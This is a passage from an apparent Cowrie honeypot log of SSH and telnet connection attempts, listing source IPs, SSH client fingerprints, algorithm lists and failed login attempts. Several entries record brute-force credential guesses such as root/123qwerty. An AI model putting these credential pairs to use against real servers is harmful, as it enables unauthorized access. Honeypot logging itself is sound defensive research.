com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:55.855804Z","src_ip":"123.58.213.128","session":"74c9582c1a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123$qweR","message":"login attempt [root/123$qweR] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:56.711380Z","src_ip":"123.58.213.128","session":"74c9582c1a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:57.938460Z","src_ip":"123.58.213.128","session":"74c9582c1a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27750873565674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:14:58.283499Z","src_ip":"170.64.224.25","session":"4e34f85d9b1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.192.46.32","src_port":52240,"dst_ip":"10.17.0.5","dst_port":22,"session":"fde241cb4a96","protocol":"ssh","message":"New connection: 81.192.46.32:52240 (10.17.0.5:22) [session: fde241cb4a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:17.213835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:17.218124Z","src_ip":"81.192.46.32","session":"fde241cb4a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:17.334669Z","src_ip":"81.192.46.32","session":"fde241cb4a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":37074,"dst_ip":"10.17.0.5","dst_port":22,"session":"f94f785cb21d","protocol":"ssh","message":"New connection: 8.210.75.243:37074 (10.17.0.5:22) [session: f94f785cb21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:17.565213Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:17.836351Z","src_ip":"81.192.46.32","session":"fde241cb4a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:18.955846Z","src_ip":"81.192.46.32","session":"fde241cb4a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37068,"dst_ip":"159.203.135.109","dst_port":22,"session":"671991557d5f","protocol":"ssh","message":"New connection: 103.176.20.57:37068 (159.203.135.109:22) [session: 671991557d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:20.275623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:20.279851Z","src_ip":"103.176.20.57","session":"671991557d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:20.532296Z","src_ip":"103.176.20.57","session":"671991557d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.87949275970459,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:21.127173Z","src_ip":"170.64.224.25","session":"8c1c2413cd6a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"14101978","message":"login attempt [root/14101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:21.291440Z","src_ip":"103.176.20.57","session":"671991557d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:22.545394Z","src_ip":"103.176.20.57","session":"671991557d5f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:23.872023Z","src_ip":"8.210.75.243","session":"f94f785cb21d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:23.875935Z","src_ip":"8.210.75.243","session":"f94f785cb21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":53582,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a30feddf7c9","protocol":"telnet","message":"New connection: 170.64.224.25:53582 (159.203.135.109:23) [session: 3a30feddf7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:33.462486Z"}
{"eventid":"cowrie.session.closed","duration":57.40432858467102,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:45.018720Z","src_ip":"170.64.224.25","session":"0265b5e76d32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":49204,"dst_ip":"10.17.0.5","dst_port":22,"session":"e05d7436b7c3","protocol":"ssh","message":"New connection: 8.210.75.243:49204 (10.17.0.5:22) [session: e05d7436b7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:47.797074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:47.801283Z","src_ip":"8.210.75.243","session":"e05d7436b7c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.209.169","src_port":58766,"dst_ip":"159.203.135.109","dst_port":23,"session":"64d64d895583","protocol":"telnet","message":"New connection: 128.199.209.169:58766 (159.203.135.109:23) [session: 64d64d895583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:15:55.218229Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":33066,"dst_ip":"10.17.0.5","dst_port":22,"session":"bedd6038cb68","protocol":"ssh","message":"New connection: 8.210.75.243:33066 (10.17.0.5:22) [session: bedd6038cb68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:01.742969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:01.748291Z","src_ip":"8.210.75.243","session":"bedd6038cb68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:11.554108Z","src_ip":"8.210.75.243","session":"bedd6038cb68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:11.968281Z","src_ip":"8.210.75.243","session":"88c7f8f87124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":36318,"dst_ip":"159.203.135.109","dst_port":22,"session":"90415af70d43","protocol":"ssh","message":"New connection: 159.65.58.200:36318 (159.203.135.109:22) [session: 90415af70d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:15.698503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:15.889601Z","src_ip":"159.65.58.200","session":"90415af70d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:15.892419Z","src_ip":"159.65.58.200","session":"90415af70d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skotov","password":"123456","message":"login attempt [skotov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:16.996956Z","src_ip":"159.65.58.200","session":"90415af70d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:18.328559Z","src_ip":"159.65.58.200","session":"90415af70d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":58584,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d2eedc8fc75","protocol":"ssh","message":"New connection: 2.57.122.209:58584 (10.17.0.5:22) [session: 9d2eedc8fc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:23.282346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:24.170527Z","src_ip":"2.57.122.209","session":"9d2eedc8fc75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:24.173236Z","src_ip":"2.57.122.209","session":"9d2eedc8fc75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:27.065940Z","src_ip":"8.210.75.243","session":"bedd6038cb68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty","message":"login attempt [root/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:27.553201Z","src_ip":"2.57.122.209","session":"9d2eedc8fc75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:29.308607Z","src_ip":"2.57.122.209","session":"9d2eedc8fc75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":45700,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7c994782c9","protocol":"ssh","message":"New connection: 103.77.175.15:45700 (10.17.0.5:22) [session: 7e7c994782c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:30.205649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:30.225884Z","src_ip":"103.77.175.15","session":"7e7c994782c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:30.433236Z","src_ip":"103.77.175.15","session":"7e7c994782c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artem19","message":"login attempt [root/artem19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:31.321707Z","src_ip":"103.77.175.15","session":"7e7c994782c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":41624,"dst_ip":"159.203.135.109","dst_port":23,"session":"05b1e700b1bc","protocol":"telnet","message":"New connection: 34.156.255.59:41624 (159.203.135.109:23) [session: 05b1e700b1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.369159Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":41640,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2ca73a82480","protocol":"telnet","message":"New connection: 34.156.255.59:41640 (159.203.135.109:23) [session: a2ca73a82480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.522448Z"}
{"eventid":"cowrie.session.closed","duration":0.003316164016723633,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.525649Z","src_ip":"34.156.255.59","session":"a2ca73a82480","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.546836Z","src_ip":"103.77.175.15","session":"7e7c994782c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.255.59","src_port":41646,"dst_ip":"159.203.135.109","dst_port":23,"session":"f192b86e6b2f","protocol":"telnet","message":"New connection: 34.156.255.59:41646 (159.203.135.109:23) [session: f192b86e6b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.675392Z"}
{"eventid":"cowrie.session.closed","duration":0.5529725551605225,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:32.922039Z","src_ip":"34.156.255.59","session":"05b1e700b1bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"34.0","message":"Connection lost after 34.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:16:35.747843Z","src_ip":"8.210.75.243","session":"bedd6038cb68","protocol":"ssh"}
